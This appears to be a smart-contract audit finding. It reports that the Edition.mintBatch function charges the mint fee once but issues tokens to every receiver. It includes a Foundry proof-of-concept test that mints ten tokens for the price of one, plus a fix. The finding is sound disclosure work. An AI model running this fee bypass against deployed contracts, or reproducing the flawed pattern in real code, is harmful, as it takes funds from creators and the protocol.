Suave Heather Barbel

high

# `Edition.mintBatch` allows anyone to mint multiple works at the price of one

## Summary
One of the [`mintBatch`](https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/editions/Edition.sol#L304) function allows anyone to mint multiple tokens(works) at the cost of one.

## Vulnerability Detail
The two `mintBatch` function both allows users to mint multiple tokens, the one in this issue mints multiple tokens to a list of receivers:

```solidity
    function mintBatch(
        address[] calldata receivers_,
        uint256 tokenId_,
        uint256 amount_,
        bytes calldata data_
    ) external payable {
        // wake-disable-next-line reentrancy
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, address(0), works[tokenId_].strategy
        );

        for (uint256 i = 0; i < receivers_.length; i++) {
            _issue(receivers_[i], tokenId_, amount_, data_);
        }

        _refundExcess();
    }
```

We see, in the function, fees are firstly collected, then the function loops through the receivers array and issue the amount for each receiver. The issue here is, token's fees are deducted only once, but all receivers can get the same amount of tokens. Furthermore, the array can be filled with one single address, and this address will be minted multiple tokens at the cost of one.

In the below PoC test case, Bob mints himself 10 tokens at the cost of 1:

```solidity
    function test_mint_batch_2() public {
        address bob = address(0x1337);
        hoax(bob, 10e18);
        assertEq(bob.balance, 10e18);
        address[] memory receivers = new address[](10);
        for (uint256 i = 0; i < 10; i++) {
            receivers[i] = bob;
        }
        edition.mintBatch{value: 0.0106 ether}(receivers, 1, 1, new bytes(0));
        assertEq(edition.totalSupply(1), 10);
        assertEq(address(1).balance, 0.01 ether);
        assertEq(address(0xc0ffee).balance, 0.0006 ether);
        console.log("bob's balance of token id 1:", edition.balanceOf(bob, 1));

    }
```

The terminal would print:

```plaintext
[PASS] test_mint_batch_2() (gas: 249008)                                                                                                 
Logs:
bob's balance of token id 1: 10  
```

## Impact
Users can get more than they deserved.

## Code Snippet
```solidity
    function mintBatch(
        address[] calldata receivers_,
        uint256 tokenId_,
        uint256 amount_,
        bytes calldata data_
    ) external payable {
        // wake-disable-next-line reentrancy
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, address(0), works[tokenId_].strategy
        );

        for (uint256 i = 0; i < receivers_.length; i++) {
            _issue(receivers_[i], tokenId_, amount_, data_);
        }

        _refundExcess();
    }
```

## Tool used

Manual Review, foundry

## Recommendation
Calculates the correct fee required for minting all tokens for all receivers.
